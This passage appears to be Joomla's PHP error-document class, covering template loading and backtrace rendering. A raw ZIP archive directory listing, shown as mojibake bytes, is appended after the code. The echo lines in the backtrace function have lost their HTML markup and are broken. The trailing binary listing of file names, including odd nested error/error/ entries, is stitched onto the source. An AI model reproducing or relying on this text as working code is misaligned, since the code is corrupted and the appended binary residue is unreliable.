if (!isset($this->_error))
{
return;
}
// Set the status header
JResponse::setHeader('status', $this->_error->getCode() . ' ' . str_replace("\n", ' ', $this->_error->getMessage()));
$file = 'error.php';
// Check template
$directory = isset($params['directory']) ? $params['directory'] : 'templates';
$template = isset($params['template']) ? JFilterInput::getInstance()->clean($params['template'], 'cmd') : 'system';
if (!file_exists($directory . '/' . $template . '/' . $file))
{
$template = 'system';
}
// Set variables
$this->baseurl = JURI::base(true);
$this->template = $template;
$this->debug = isset($params['debug']) ? $params['debug'] : false;
$this->error = $this->_error;
// Load
$data = $this->_loadTemplate($directory . '/' . $template, $file);
parent::render();
return $data;
}
/**
* Load a template file
*
* @param string $directory The name of the template
* @param string $filename The actual filename
*
* @return string The contents of the template
*
* @since 11.1
*/
public function _loadTemplate($directory, $filename)
{
$contents = '';
// Check to see if we have a valid template file
if (file_exists($directory . '/' . $filename))
{
// Store the file path
$this->_file = $directory . '/' . $filename;
// Get the file content
ob_start();
require_once $directory . '/' . $filename;
$contents = ob_get_contents();
ob_end_clean();
}
return $contents;
}
/**
* Render the backtrace
*
* @return string The contents of the backtrace
*
* @since 11.1
*/
public function renderBacktrace()
{
$contents = null;
$backtrace = $this->_error->getTrace();
if (is_array($backtrace))
{
ob_start();
$j = 1;
echo '';
echo ' ';
echo ' | Call stack | ';
echo '
';
echo ' ';
echo ' | # | ';
echo ' Function | ';
echo ' Location | ';
echo '
';
for ($i = count($backtrace) - 1; $i >= 0; $i--)
{
echo ' ';
echo ' | ' . $j . ' | ';
if (isset($backtrace[$i]['class']))
{
echo ' ' . $backtrace[$i]['class'] . $backtrace[$i]['type'] . $backtrace[$i]['function'] . '() | ';
}
else
{
echo ' ' . $backtrace[$i]['function'] . '() | ';
}
if (isset($backtrace[$i]['file']))
{
echo ' ' . $backtrace[$i]['file'] . ':' . $backtrace[$i]['line'] . ' | ';
}
else
{
echo ' | ';
}
echo '
';
$j++;
}
echo '
';
$contents = ob_get_contents();
ob_end_clean();
}
return $contents;
}
}
PK ©?\¦V‰ feed/index.htmlnu W+A„¶ PK ©?\®)ÕÐ ^ feed/.htaccessnu W+A„¶ PK ©?\±±¶Üp p
feed/feed.phpnu W+A„¶ PK ©?\¦V‰ È feed/renderer/index.htmlnu W+A„¶ PK ©?\®)ÕÐ / feed/renderer/.htaccessnu W+A„¶ PK ©?\Ób* • • õ feed/renderer/atom.phpnu W+A„¶ PK ©?\‚RY Y Ð6 feed/renderer/rss.phpnu W+A„¶ PK ©?\®)ÕÐ
nV xml/.htaccessnu W+A„¶ PK ©?\L»ò©Â Â *W xml/xml.phpnu W+A„¶ PK ©?\¦V‰ '^ xml/index.htmlnu W+A„¶ PK ©?\¦V‰ „^ raw/index.htmlnu W+A„¶ PK ©?\t¸O*_ _ á^ raw/raw.phpnu W+A„¶ PK ©?\®)ÕÐ
{c raw/.htaccessnu W+A„¶ PK ©?\ÿ
xŒ˜F ˜F 7d document.phpnu W+A„¶ PK ©?\¹ÅñŒ Œ « pdf/pdf.xmlnu W+A„¶ PK ©?\ùˆÍ Í Ò pdf/pdf.phpnu W+A„¶ PK ©?\®)ÕÐ
ÚÅ pdf/.htaccessnu W+A„¶ PK ©?\:äˆ/ / –Æ pdf/index.htmlnu W+A„¶ PK ©?\¦V‰
Ç index.htmlnu W+A„¶ PK ©?\„¥¡
\Ç json/json.phpnu W+A„¶ PK ©?\®)ÕÐ ®Î json/.htaccessnu W+A„¶ PK ©?\¦V‰ kÏ json/index.htmlnu W+A„¶ PK ©?\¦V‰ ÉÏ html/index.htmlnu W+A„¶ PK ©?\6:ˆT3 3 'Ð html/renderer/modules.phpnu W+A„¶ PK ©?\®)ÕÐ £Ô html/renderer/.htaccessnu W+A„¶ PK ©?\¦:dˆž ž iÕ html/renderer/head.phpnu W+A„¶ PK ©?\¦V‰ Mí html/renderer/index.htmlnu W+A„¶ PK ©?\ð.Æòv v ´í html/renderer/message.phpnu W+A„¶ PK ©?\¢§fs s sõ html/renderer/component.phpnu W+A„¶ PK ©?\ô°=_ 1ù html/renderer/module.phpnu W+A„¶ PK ©?\¬kÇcrA rA
™ html/html.phpnu W+A„¶ PK ©?\®)ÕÐ HF html/.htaccessnu W+A„¶ PK ©?\®)ÕÐ G opensearch/.htaccessnu W+A„¶ PK ©?\œ‹*"¬ ¬ ÈG opensearch/opensearch.phpnu W+A„¶ PK ©?\¦V‰ ½` opensearch/index.htmlnu W+A„¶ PK ©?\,¸ÉÒ Ò !a renderer.phpnu W+A„¶ PK ©?\®)ÕÐ /g .htaccessnu W+A„¶ PK ©?\®)ÕÐ çg error/.htaccessnu W+A„¶ PK ©?\¦V‰ ¥h error/index.htmlnu W+A„¶ PK ©?\üZDH i error/error/cache.phpnu W+A„¶ PK ©?\ìªj£ £ ] error/error/index.phpnu W+A„¶ PK ©?\€,rÛ Û E˜ error/error/.htaccessnu W+A„¶ PK ©?\£VR3 3 e™ error/error.phpnu W+A„¶ PK + + ™
ת